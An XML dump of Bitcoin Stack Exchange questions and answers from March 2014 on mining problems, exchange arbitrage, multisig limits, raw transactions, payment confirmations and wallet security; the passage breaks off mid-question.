  <row Id="23875" PostTypeId="2" ParentId="18321" CreationDate="2014-03-23T03:14:21.937" Score="1" Body="&lt;p&gt;I've had the same issue, I think it has to do with the swapfile being enabled.  I went months without a freeze.  enabled swap file for BF4 bullshit coding, to play without directx out of memory error. Mining started freezing.  I thought I screwed up my cards.  Turned off swapfile on a whim and has been going for days now.  It would usually freeze in a few hours with swap file enabled.&lt;/p&gt;&#xA;" OwnerUserId="14762" LastActivityDate="2014-03-23T03:14:21.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23876" PostTypeId="2" ParentId="13916" CreationDate="2014-03-23T07:51:30.660" Score="0" Body="&lt;p&gt;This guy may have been operating his own currency, which is different than crypto currency. One of the issues of having 51% of the hashrate on a coin (besides the loss of a trustless currency) is that you are operating a money services business (MSB), at the very least. It could also be possible that Nothaus may have created a non-crypto currency which would be centrally managed, thus needing to file an MSB, or get other licenses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are buying or selling coins, this is OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are providing the service of matching buyers and sellers (i.e. operating an exchange), you need to file as a money transmitter, as stated in the original Fincen guidance: &lt;a href=&quot;http://fincen.gov/statutes_regs/guidance/html/FIN-2013-G001.html&quot; rel=&quot;nofollow&quot;&gt;http://fincen.gov/statutes_regs/guidance/html/FIN-2013-G001.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-03-23T07:51:30.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23881" PostTypeId="2" ParentId="23865" CreationDate="2014-03-23T08:00:01.980" Score="1" Body="&lt;p&gt;Both are possible; in fact, I do both when the opportunity arises.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For #1, for example, I have successfully conducted an arbitrage on UTC, by buying in at Crypto Rush for 0.00018 and selling it on Mintpal for 0.00019. You definitely have some risk here of not executing the trade quickly enough, so look for markets that are reasonably liquid (i.e. relatively low bid-ask spread). I've done similar arbitrages at least five times. It's not going to be super profitable, but it's a nice opportunity to take advantage of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For #2, it all comes down to what kind of a long position you wish to hold. So for instance, if you wanted to hold 0.2 BTC and 100,000 DOGE in the first place, then it makes sense to spread them across two exchanges, with 0.1 BTC and 50,000 DOGE at each. When the bid of one becomes higher than the ask of the other, execute the arbitrage ASAP. Of course, it goes without saying that you should not attempt this strategy on a coin that you did not intend to gain exposure to in the first place.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-23T08:00:01.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23882" PostTypeId="2" ParentId="23863" CreationDate="2014-03-23T08:09:26.703" Score="7" Body="&lt;p&gt;For every Bitcoin they sell, someone else had to obtain that Bitcoin. So they increase the demand for Bitcoins by at least as much as they increase the supply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, they increase the utility of Bitcoins, which increases their value. All other things being equal, a currency you can spend at more merchants is more desirable than one you can spend at fewer merchants.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-03-23T08:09:26.703" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23883" PostTypeId="2" ParentId="23871" CreationDate="2014-03-23T08:14:35.927" Score="2" Body="&lt;p&gt;Look in &lt;code&gt;main.cpp&lt;/code&gt; at the &lt;code&gt;ProcessBlock&lt;/code&gt; function. The meat is in the &lt;code&gt;AcceptBlock&lt;/code&gt; function in the same file.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-03-23T08:14:35.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23887" PostTypeId="2" ParentId="23873" CreationDate="2014-03-23T09:27:21.743" Score="1" Body="&lt;p&gt;This happens with all pools. Some pools measure over a long time and get a fairly accurate hashrate, but it is very slow to react to changes (stop mining, add hashpower, etc.). Other pools measure over a short time and get a more inaccurate hashrate, but one that reflects changes faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The estimated hashrate isn't affected much by rejected work, unless you have an abnormal amount of those. If you have a lot of hardware errors (miscalculations) from your devices, those can also affect it some. These two issues can give a persistently lower hashrate than you are actually hashing with. But the source of the swings up and down is primarily the randomness with finding proofs of work. Some nonce ranges you scan will contain 3 and some won't have any at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining with a higher worker difficulty will increase the variance with finding proofs of work. If you set a worker difficulty that is very high for your hashrate then the website's estimate of your hashrate will likely be all over the place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a more accurate estimation of your hashrate look at your average hashrate per shift or other longer term, rather than a live hashrate estimate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there is really no specific answer to how accurate an estimated hashrate should be. Different pools use different methods, and some even have different hashrates in the same pool (measured over short and long periods of time).&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2014-03-23T09:27:21.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23890" PostTypeId="2" ParentId="23850" CreationDate="2014-03-23T11:21:47.770" Score="-2" Body="&lt;p&gt;If a reinstall is not an option for you then you should do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Requires: CCleaner&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Boot in Safe Mode so that any malware start up entries don't get executed.&lt;/li&gt;&#xA;&lt;li&gt;Use CCleaner to clean up disk space and registry.&lt;/li&gt;&#xA;&lt;li&gt;Inspect the Start Up list for any suspicious/unwanted entries and&#xA;remove them.&lt;/li&gt;&#xA;&lt;li&gt;Reboot the computer.&lt;/li&gt;&#xA;&lt;li&gt;Use any anti-virus to remove any present malware and clean infected&#xA;files.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This should clean your old pc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: Experience&lt;/p&gt;&#xA;" OwnerUserId="14767" LastEditorUserId="11369" LastEditDate="2014-03-23T17:52:07.333" LastActivityDate="2014-03-23T17:52:07.333" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23892" PostTypeId="2" ParentId="23865" CreationDate="2014-03-23T14:59:57.030" Score="1" Body="&lt;p&gt;CEX.IO has BTC/LTC, BTC/NMC, BTC/GHS, and NMC/GHS trading with low minimums and no trade fee. As noted before, the downward trend in altcoins relative to BTC means you will be better off to buy and hold BTC. Also, volume is low enough that if you try to move more than a small amount you can push the price around enough to ruin the arbitrage opportunity you saw at the start of a trade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: As e-sushi noted, CEX.IO is now charging a trade fee, which makes arbitrage even more of a bad idea.&lt;/p&gt;&#xA;" OwnerUserId="628" LastEditorUserId="628" LastEditDate="2014-11-15T16:28:29.317" LastActivityDate="2014-11-15T16:28:29.317" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23893" PostTypeId="1" AcceptedAnswerId="28092" CreationDate="2014-03-23T16:51:40.853" Score="30" ViewCount="9326" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/10593/78&quot;&gt;This method&lt;/a&gt; describes how to create a 2-of-3 multisig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I heard that there is an inherent limit with the number of multisig parts, limiting them to 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the standard method described above of &lt;strong&gt;generating&lt;/strong&gt; and &lt;strong&gt;spending&lt;/strong&gt; multisig addresses work with more than 3 parts? What is the limit? How to work around that and create/spend larger multisigs using bitcoind (practical 'how to' would be appreciated)&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2018-04-23T19:03:02.117" Title="What are the limits of m and n in m-of-n multisig addresses?" Tags="|multi-signature|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23897" PostTypeId="2" ParentId="23777" CreationDate="2014-03-23T19:07:08.483" Score="1" Body="&lt;p&gt;The &lt;code&gt;Makefile&lt;/code&gt; in that directory appears to be a perfectly good makefile. Perhaps the build instructions are out of date. So try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;make namecoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(without the &lt;code&gt;-f&lt;/code&gt; option, the &lt;code&gt;make&lt;/code&gt; program automatically reads the file named &lt;code&gt;Makefile&lt;/code&gt;). &lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-03-23T19:07:08.483" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23898" PostTypeId="2" ParentId="23773" CreationDate="2014-03-23T19:32:51.843" Score="3" Body="&lt;p&gt;The PPA is on 0.8.6, which is very recent (just missing 0.9, but I'm gonna hopefully upload that today). What you're referring to is the Ubuntu package distribution, which is very, very, very out of date (to the point of it being largely non-functional).&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2014-03-23T19:32:51.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23899" PostTypeId="1" AcceptedAnswerId="23919" CreationDate="2014-03-23T19:43:57.440" Score="1" ViewCount="76" Body="&lt;p&gt;For convenience purposes let's say I need to make these payments (and let's pretend that tx fees do not exist):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Address A: 1 BTC &lt;/li&gt;&#xA;&lt;li&gt;Address B: 2 BTC &lt;/li&gt;&#xA;&lt;li&gt;Address C: 3 BTC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My balance is 6 BTC that consists of these spendable inputs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tx1: 0.5 BTC&lt;/li&gt;&#xA;&lt;li&gt;Tx2: 0.5 BTC&lt;/li&gt;&#xA;&lt;li&gt;Tx3: 0.5 BTC&lt;/li&gt;&#xA;&lt;li&gt;Tx4: 4.5 BTC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's easy now to create a raw tx using &lt;code&gt;createrawtransaction&lt;/code&gt; and since the inputs' sum matches the outputs' sum (and we pretend there are no tx fees whatsoever) everything will work as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what if I must (for business purposes) use specific inputs for each output?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Address A will be paid inputs: Tx1 and Tx3&lt;/li&gt;&#xA;&lt;li&gt;Address B and Address C will be paid by inputs: Tx2 and Tx4&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These will be batch payments and I plan to be sending batches of 20-30 logical payments per raw tx, so I would like to avoid breaking down the raw tx into small, atomic (per-logical-payments) transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that even possible with raw transactions?&lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="1307" LastEditDate="2014-03-24T11:46:14.127" LastActivityDate="2014-03-25T08:34:04.183" Title="Is tighting inputs to specific outputs possible within one transaction?" Tags="|raw-transaction|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23901" PostTypeId="2" ParentId="17545" CreationDate="2014-03-23T22:04:05.390" Score="-1" Body="&lt;p&gt;Previous tx is a hash of a previous transaction. Index is the specific output in the referenced transaction. see: &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transactions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14419" LastActivityDate="2014-03-23T22:04:05.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23902" PostTypeId="1" CreationDate="2014-03-23T22:05:15.503" Score="1" ViewCount="711" Body="&lt;p&gt;I'm currently working on accepting Bitcoins on my website. To do this I create a new address for every sale. I know I can get the amount of bitcoins that were paid into this address by using &lt;code&gt;./btcoind getreceivedbyaddress &amp;lt;the-address&amp;gt; 0&lt;/code&gt; or &lt;code&gt;conn.getreceivedbyaddress(localAddress, 0)&lt;/code&gt; when using the &lt;a href=&quot;https://github.com/laanwj/bitcoin-python&quot; rel=&quot;nofollow&quot;&gt;python binding for bitcoin&lt;/a&gt;. So far so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now also want to get and display the amount of confirmations to the customer. So I made this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;highestConfirmCount = None&#xA;for i in count():&#xA;    received = btcConn.getreceivedbyaddress(localAddress, i)&#xA;    if received &amp;gt;= amountExpected:&#xA;        highestConfirmCount = i&#xA;    else:&#xA;        break&#xA;print highestConfirmCount&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine, but it's pretty slow for incoming payments which have been a while ago. Also, I would presume there would be a better and more efficient built in function for this, but I can't find anything like it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know what the best way is for getting confirmations for incoming payments to a specific address?&lt;/p&gt;&#xA;" OwnerUserId="11136" LastActivityDate="2014-03-24T02:17:03.770" Title="How to get confirmations for incoming transactions?" Tags="|confirmations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23903" PostTypeId="2" ParentId="21136" CreationDate="2014-03-23T22:40:41.167" Score="0" Body="&lt;p&gt;I stumbled upon the same issue when trying to install &lt;a href=&quot;https://github.com/MPOS/php-mpos&quot; rel=&quot;nofollow&quot;&gt;php-mpos&lt;/a&gt;. Fortunately, the &lt;a href=&quot;https://github.com/MPOS/php-mpos/wiki/Quick-Start-Guide&quot; rel=&quot;nofollow&quot;&gt;quick start guide&lt;/a&gt; provides an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just run &lt;code&gt;sudo mysql -p mpos &amp;lt; sql/000_base_structure.sql&lt;/code&gt; from the root of the php-mpos repo. It means using this file: &lt;a href=&quot;https://github.com/MPOS/php-mpos/blob/development/sql/000_base_structure.sql&quot; rel=&quot;nofollow&quot;&gt;https://github.com/MPOS/php-mpos/blob/development/sql/000_base_structure.sql&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14778" LastActivityDate="2014-03-23T22:40:41.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23907" PostTypeId="2" ParentId="23902" CreationDate="2014-03-24T02:17:03.770" Score="2" Body="&lt;p&gt;Calling &lt;code&gt;bitcoin-cli listunspent 0 9999999 &quot;[\&quot;someLocalAddress\&quot;,\&quot;someOtherLocalAddress\&quot;]&quot;&lt;/code&gt; will provide you with the exact number of confirmations for every transaction to these addresses so you will not need to perform all these iterations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replacing &lt;code&gt;9999999&lt;/code&gt; with what you consider in your application to be a confirmed transaction will only return the unconfirmed transactions, which is more effective if you already keep track of the confirmed transactions in your database.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-03-24T02:17:03.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23908" PostTypeId="2" ParentId="23773" CreationDate="2014-03-24T03:50:59.003" Score="1" Body="&lt;p&gt;0.9.0 was posted earlier today.&lt;/p&gt;&#xA;" OwnerUserId="628" LastActivityDate="2014-03-24T03:50:59.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23909" PostTypeId="1" AcceptedAnswerId="23911" CreationDate="2014-03-24T04:48:59.400" Score="1" ViewCount="470" Body="&lt;p&gt;I decided to make some custom addresses for personal use and I have two computers running bitcoin clients. I imported the private key of the wallet I generated to the wrong computer and then I imported it to the correct computer. So now I have two wallets with the same public address in them. Questions are: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What happens when I receive a payment?&lt;/li&gt;&#xA;&lt;li&gt;Will it take itself out of either wallet?&lt;/li&gt;&#xA;&lt;li&gt;Is there anything I can do to fix this?&#xA;Thanks&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13388" LastEditorUserId="2306" LastEditDate="2015-03-13T14:39:29.387" LastActivityDate="2019-08-15T11:41:20.880" Title="Import private key on multiple computers" Tags="|private-key|wallet-import|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23910" PostTypeId="2" ParentId="22477" CreationDate="2014-03-24T05:45:44.347" Score="1" Body="&lt;p&gt;Yes you can &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a gtx 460 (as the main card)&#xA;and r9 280x as alt coin mining card. (bitcoins... ha ha impossible)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just install amd drivers for the mining card, and use a dummy plug with the r9. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;also some cgminer special commands are needed in order to make it work nicely..try googling a lot until you find the answer for the cgminer command line... can't remember at the moment&lt;/p&gt;&#xA;" OwnerUserId="14784" LastActivityDate="2014-03-24T05:45:44.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23911" PostTypeId="2" ParentId="23909" CreationDate="2014-03-24T05:53:39.710" Score="2" Body="&lt;p&gt;Incoming payments will show up in both wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you spend any of the balance, the other wallet may show a 0 balance because the &quot;change&quot; will only go to the wallet you sent from. The other wallet won't know about the new &quot;change&quot; address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The safest thing to do is to transfer all the funds to a new address.&lt;/p&gt;&#xA;" OwnerUserId="628" LastActivityDate="2014-03-24T05:53:39.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23912" PostTypeId="1" AcceptedAnswerId="36228" CreationDate="2014-03-24T06:12:34.450" Score="9" ViewCount="8978" Body="&lt;p&gt;I've been poking around &lt;a href=&quot;https://en.bitcoin.it/wiki/Target&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Target&lt;/a&gt; and I've found the current target, but I can't seem to find how it's generated. It's supposedly generated when the difficulty is adjusted, as stated here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Block_hashing_algorithm&lt;/a&gt;, but what exactly is the algorithm for generating the target? If someone could show me some psuedocode that would be great.&lt;/p&gt;&#xA;" OwnerUserId="11872" LastEditorUserId="11872" LastEditDate="2014-03-24T15:53:17.270" LastActivityDate="2023-05-23T16:07:23.027" Title="How is the target section of a block header calculated?" Tags="|protocol|algorithms|difficulty|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23914" PostTypeId="2" ParentId="21727" CreationDate="2014-03-24T09:22:29.080" Score="0" Body="&lt;p&gt;I was able to solve my problems with the &lt;code&gt;Gigabyte R9 290&lt;/code&gt; by &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;completely uninstalling all sdk packs and installing sdk 2.9&lt;/li&gt;&#xA;&lt;li&gt;completely uninstalling all Catalyst drivers and installing version 14.1b (I think)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now it's working, no dramas.&lt;/p&gt;&#xA;" OwnerUserId="14787" LastEditorUserId="5406" LastEditDate="2014-03-25T11:41:54.913" LastActivityDate="2014-03-25T11:41:54.913" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23915" PostTypeId="2" ParentId="23893" CreationDate="2014-03-24T10:30:21.710" Score="2" Body="&lt;p&gt;I recently implemented &lt;a href=&quot;https://github.com/dartcoin/dartcoin-lib/blob/master/lib/src/script/standard/multisig_output.dart&quot; rel=&quot;nofollow&quot;&gt;multi-sig outputs&lt;/a&gt; for &lt;a href=&quot;https://github.com/dartcoin/dartcoin-lib&quot; rel=&quot;nofollow&quot;&gt;Dartcoin&lt;/a&gt;, using the &lt;a href=&quot;https://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;BitcoinJ&lt;/a&gt; implementation as a reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that the reference client has a maximum of 3 keys for multisig transactions. However, the actual limit is 16. This limit is not arbitrary (like the 3 key limit is), but is due to the hard limit of the script limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using more than 3 keys works exactly the same as with 3 keys. As you can see in the code, the output just consists of the number of keys you provide (n) and the threshold for spending (m).&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-03-24T10:30:21.710" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23916" PostTypeId="2" ParentId="17545" CreationDate="2014-03-24T10:41:33.027" Score="6" Body="&lt;p&gt;A transaction consists of a number of inputs and a number of outputs. Outputs define a &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;noreferrer&quot;&gt;script&lt;/a&gt; that need to be executed to be able to spend the coins in the output. Inputs provide data to enter into an output script to make it execute successfully and to spend the coins in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, a transaction input must be able to reference the output it is willing to spend. Outputs in a transaction are ordered, so an output can be referred to by specifying the transaction ID of the transaction it has been defined in, and the index it has in the list of specified outputs in that transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;prev_out&lt;/code&gt; field is the transaction hash (txid) and the &lt;code&gt;n&lt;/code&gt; is the index of the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not true that every transaction contains exactly one &lt;code&gt;prev_out&lt;/code&gt; value. However, many transactions do. This is because many transactions have only one input. You must know, though, that it is possible to have multiple inputs.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-03-24T10:41:33.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23919" PostTypeId="2" ParentId="23899" CreationDate="2014-03-24T11:44:53.807" Score="0" Body="&lt;p&gt;In Bitcoin, it is not possible to associate specific inputs with specific outputs within one transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that you are required to create multiple transactions to achieve what you want to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions#createrawtransaction_.5B.7B.22txid.22%3atxid.2C.22vout.22%3an.7D.2C....5D_.7Baddress%3aamount.2C....7D&quot; rel=&quot;nofollow&quot;&gt;wiki article&lt;/a&gt; and this &lt;a href=&quot;https://bitcointalk.org/index.php?topic=133769.0&quot; rel=&quot;nofollow&quot;&gt;forum post&lt;/a&gt; explain how to do create raw transactions for spending specific outputs.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-03-24T11:44:53.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23920" PostTypeId="1" CreationDate="2014-03-24T12:42:28.830" Score="3" ViewCount="1670" Body="&lt;p&gt;I opened bitcoin-qt after not mining for a couple months and found that I suddenly have no more bitcoins!  And I see that there were 2 transactions that I did not authorize sending my coins to other addresses!  Is there anything I can do to get my coins back?&lt;/p&gt;&#xA;" OwnerUserId="14794" LastActivityDate="2019-01-08T23:12:38.537" Title="I think my bitcoin wallet was hacked. What to do?" Tags="|client|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23922" PostTypeId="1" AcceptedAnswerId="29551" CreationDate="2014-03-24T13:13:27.730" Score="3" ViewCount="397" Body="&lt;p&gt;I have heard a lot of &quot;buzz&quot; about Ethereum, but apparently its 1.0 version won't be released for a while yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have heard a lot of talk about &quot;smart contracts&quot; from people who admire Szabo, but I haven't seen many implementations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice that Ripple lists &quot;contracts&quot; under &quot;future&quot; features, which seems to imply that they are not ready for use yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ripple.com/wiki/Main_Page&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/wiki/Main_Page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one implementation I have seen is at :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://erights.org/&quot; rel=&quot;nofollow&quot;&gt;http://erights.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other, more popular ways to implement &quot;smart contracts&quot; that are already in use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14796" LastActivityDate="2014-12-07T09:38:00.427" Title="Are there already several ways to do &quot;smart contracts&quot; with cryptocurrencies?" Tags="|contracts|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23923" PostTypeId="2" ParentId="23920" CreationDate="2014-03-24T13:45:38.723" Score="2" Body="&lt;p&gt;&lt;strong&gt;Probably not.&lt;/strong&gt; You can try to look at the addresses the coins were transferred to (or, if those were since sent elsewhere, at those addresses too) and see if you can figure out who they belong to. If the thief is somewhat competent, however, it's a good bet that he's made it very hard to track. If you can determine the identity, you might be able to take them to a court (small claims, civil, criminal...I don't know, and might depend on how many bitcoins were stolen, and where in the world you and your thief live) to demand the bitcoins (or equivalent value) back. But as far as the Bitcoin protocol itself goes: no, you cannot reverse the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent this in the future, make sure that your computer is free of malware, always encrypt your wallet with a secure password, and consider using an &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_set_up_a_secure_offline_savings_wallet&quot; rel=&quot;nofollow&quot;&gt;offline wallet&lt;/a&gt;. See bitcoin.org's &lt;a href=&quot;https://bitcoin.org/en/secure-your-wallet&quot; rel=&quot;nofollow&quot;&gt;Securing your wallet&lt;/a&gt; page for other tips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure that the addresses don't belong to you, maybe in some online service you used and forgot about?&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-03-24T13:45:38.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23924" PostTypeId="2" ParentId="23920" CreationDate="2014-03-24T13:49:33.187" Score="0" Body="&lt;p&gt;No, sorry but &quot;fortunately&quot; you can't do anything, otherwise people could pay for goods and services and then get back the bitcoin used (it's called double spending).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The analogy with fiat money is when someone picks your pocket, asking your bank for a refund for the cash you had won't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some best practices for achieving good security are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;take care about system password for online wallet&lt;/li&gt;&#xA;&lt;li&gt;install official/trusted bitcoin wallet software&lt;/li&gt;&#xA;&lt;li&gt;use offline wallets if you hold many bitcoins (create the wallet with an off-line computer!)&lt;/li&gt;&#xA;&lt;li&gt;do not put many bitcoin in a single exchange because they control your money (mtgox), or wait for distributed exchange&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6693" LastEditorUserId="5410" LastEditDate="2014-03-24T19:12:39.970" LastActivityDate="2014-03-24T19:12:39.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23928" PostTypeId="2" ParentId="23846" CreationDate="2014-03-24T14:20:28.827" Score="2" Body="&lt;p&gt;The Bitcoin network operates over TCP sockets between nodes. This has several consequences.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Blocking URL's or domain names is not possible.&lt;/li&gt;&#xA;&lt;li&gt;By default, Bitcoin uses port 8333. It's possible for a school/uni to block this port. For an ISP, however, this is not possible, other applications might use port 8333 as well. Also keep in mind that it is very easy to change the port your Bitcoin client is using.&lt;/li&gt;&#xA;&lt;li&gt;All Bitcoin packets start with the same &quot;magic byte&quot;. This means that it might be possible to inspect all TCP packets looking for this magic byte. However, this might break many other internet functionalities, so I doubt if this type of blocking would ever be performed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Important to note is that this two ways of blocking can easily be dodged by using an encrypted connection, f.e. with a VPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, it is really infeasible for any party to block Bitcoin traffic because all possible blocking methods can easily be avoided. This holds for most P2P technologies, look at BitTorrent f.e.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-03-24T14:20:28.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23929" PostTypeId="1" CreationDate="2014-03-24T14:21:00.317" Score="6" ViewCount="502" Body="&lt;p&gt;Reading about spending own generated unconfirmed change some time ago I stumbled upon &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1xm49o/due_to_active_malleable_transaction_relayers_it/&quot; rel=&quot;noreferrer&quot;&gt;this reddit thread&lt;/a&gt;  that convinced me that doing so is a really bad idea and could prove catastrophic for any business that allows it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in the &lt;a href=&quot;https://bitcoin.org/bin/0.9.0/README.txt&quot; rel=&quot;noreferrer&quot;&gt;bitcoin core 0.9.0 release notes&lt;/a&gt; there are some fixes regarding the infamous malleability issue (search for text: &quot;Transaction malleability-related fixes&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is pretty straightforward: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it now safe to spend unconfirmed change generated by my own txs, after the 0.9.0 upgrades?&lt;/li&gt;&#xA;&lt;li&gt;If not, what is considered to be a 